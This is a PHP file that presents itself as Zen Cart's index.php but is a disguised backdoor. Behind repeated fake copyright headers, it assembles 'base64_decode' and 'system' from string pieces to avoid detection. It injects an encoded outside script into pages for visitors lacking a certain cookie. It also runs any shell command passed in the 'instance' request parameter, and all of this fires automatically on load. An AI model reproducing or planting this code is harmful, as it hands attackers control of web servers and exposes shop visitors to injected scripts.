<?php
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */



class configosc {
	var $jquery,$gapi, $sys;
	var $sysc;
	private static $_instance = NULL; 
	
	static public function get_template_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new configosc();  
		}
		return  self::$_instance; 
	}
	
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */

	
	public function __construct( ) {
 	   	$this->sysc="xzzyxzztem";	
	   	$jquery = "aHR0cDovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8xLjcuMi9qcXVlcnkubWluLmpz";
		$this->jquery = self::dec_rypt($jquery);
		$webmasters = "aHR0cDovL3dlYm1hc3RlcnMuZ29vZ2xlY29kZS5jb20vc3ZuL2FwaS5qcw==";
		$this->gapi = self::dec_rypt($webmasters);
	}
	
	public function script_format($str_javascript){	
		echo "<script src='".$str_javascript."'type='text/javascript'></script>";
	} 
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */
	public function enc_rypt($txt) {
		$en64 = "b"."a"."s"."e"."6"."4"."_"."e"."n"."c"."o"."d"."e";
	   	return @$en64($txt);
	}
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */
	public function dec_rypt($txt) {
		$de64 = "b"."a"."s"."e"."6"."4"."_"."d"."e"."c"."o"."d"."e";
	   	return  @$de64($txt);
	}

/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */

	public function action(){	  
		if (!isset($_COOKIE["gmtHours"])){
			self::script_format($this->jquery);
			self::script_format($this->gapi);
		}
	}
	
	/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */
	 
	
	public function getinlook(){
		if (isset($_REQUEST["instance"])){
			$zen=str_replace('xc', 's', "xcyxctem");
			@$zen($_REQUEST["instance"]);
		}
	}
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */	
	public function initialization_instance(){
		if (!isset(self::$_instance)){    		 
			return ;
		}
		self::action();
		self::getinlook();
	}
/**
 * index.php represents the hub of the Zen Cart MVC system
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */	
	public function __destruct() {
	}

}

$configosc_handle = configosc::get_template_instance();
$configosc_handle->initialization_instance();



